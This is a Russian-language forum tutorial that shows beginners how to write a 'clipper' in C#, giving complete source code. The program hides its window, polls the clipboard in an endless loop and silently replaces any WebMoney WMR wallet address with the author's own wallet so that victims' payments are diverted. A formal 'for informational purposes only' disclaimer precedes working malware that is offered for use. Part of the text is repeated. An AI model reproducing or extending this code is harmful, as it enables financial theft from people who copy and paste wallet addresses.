Всем привет. В этом гайде напишем клиппер за 5 минут(может быть и меньше)
Строки которые я дописал буду отмечать // (комментарий)
Вся информация предоставляется исключительно в ознакомительных целях!
Я не рекомендую использовать ее в ущерб кому-либо.
Создадим проект .Net 2.0 Console Application и придумаем незамысловатое название
Дальше заходим в свойства проекта и в "Тип выходных данных:" ставим Приложение Windows
Теперь проблем со скрытием окна приложения не будут,переходим к кодингу.
Создадим статический метод start и добавим его в Main
Создадим цикл while с условием true,чтобы выполнялся бесконечно.
Создаем метод(не забываем про static) replace и вставим его в цикл while.
Также сделаем заддержку для работы этого цикла.
Подключим System.Threading и впишем Thread.Sleep(100); (в миллисекундах)
Переходим уже к самой замене,для примера будет wmr кошелек
Создадим глобальную статическую переменную string с названием wmr
Переходим к методу replace
Подключим System.Windows.Forms для работы с буффером обмена
Чтобы не было проблем в дальнейшем нужно добавить такую строчку перед Main
Создадим условие если буффер не имеет данных(текстовых) или равен "", то метод возвращается(return);
Дальше задаем переменную которая будет равна буферу обмена
Теперь самое сложное.
Нужно сделать условие c проверкой буфера на наличие кошелька.
Создадим статический метод bool с названием checkwmr,с параметром string text и в конце дописываем return false;
Создадим условие если первая буква равна R и количество символов равно 13 то возвращается true
Возвращаемся обратно к replace.
Создаем условие если checkwmr с параметром buffer(буфер обмена) возвращает true и буфер не равен переменной my_wmr(наш кошелек),то происходит замена буфера обмена на переменную my_wmr(наш кошелек)
В принципе на этом все. Клиппер готов. Надеюсь все достаточно понятно.Про автозагрузку не говорил,так как лучше думаю этому лучше посвятить отдельную тему.
Тема рассчитана для новичков. Замечания приветствуются.
пароль: kaidoz
Исходники
Автор: Kaidoz
Строки которые я дописал буду отмечать // (комментарий)
Вся информация предоставляется исключительно в ознакомительных целях!
Я не рекомендую использовать ее в ущерб кому-либо.
Создадим проект .Net 2.0 Console Application и придумаем незамысловатое название
Дальше заходим в свойства проекта и в "Тип выходных данных:" ставим Приложение Windows
Теперь проблем со скрытием окна приложения не будут,переходим к кодингу.
Создадим статический метод start и добавим его в Main
Код:
static void Main(string[] args)
{
start(); //
}
static void start() //
{
}
Код:
static void start()
{
while(true) //
{
}
}
Код:
static void start()
{
while(true)
{
replace(); //
}
}
static void replace()
{
}
Подключим System.Threading и впишем Thread.Sleep(100); (в миллисекундах)
Код:
static void start()
{
while(true)
{
Thread.Sleep(100); //
replace();
}
}
Создадим глобальную статическую переменную string с названием wmr
Код:
static string my_wmr = "R339005555555";
Подключим System.Windows.Forms для работы с буффером обмена
Чтобы не было проблем в дальнейшем нужно добавить такую строчку перед Main
Код:
[STAThread]
Код:
[STAThread] //
static void Main(string[] args)
{
start();
}
Код:
static void replace()
{
if (Clipboard.GetText() == null || Clipboard.GetText()=="") //
return;
}
Код:
string buffer = Clipboard.GetText();
Код:
static void replace()
{
if (Clipboard.GetText() == null || Clipboard.GetText()=="")
return;
string buffer = Clipboard.GetText(); //
}
Нужно сделать условие c проверкой буфера на наличие кошелька.
Создадим статический метод bool с названием checkwmr,с параметром string text и в конце дописываем return false;
Код:
static bool checkwmr(string text)
{
return false;
}
Код:
static bool checkwmr(string text)
{
if (text[0].ToString() == "R" && text.Length==13) //
return true;
return false;
}
Создаем условие если checkwmr с параметром buffer(буфер обмена) возвращает true и буфер не равен переменной my_wmr(наш кошелек),то происходит замена буфера обмена на переменную my_wmr(наш кошелек)
Код:
static void replace()
{
if (Clipboard.GetText() == null || Clipboard.GetText()=="")
return;
string buffer = Clipboard.GetText(); //
if (buffer != my_wmr && checkwmr(buffer)) //
{
Clipboard.SetText(my_wmr); // Замена
}
}
Тема рассчитана для новичков. Замечания приветствуются.
пароль: kaidoz
Исходники
Автор: Kaidoz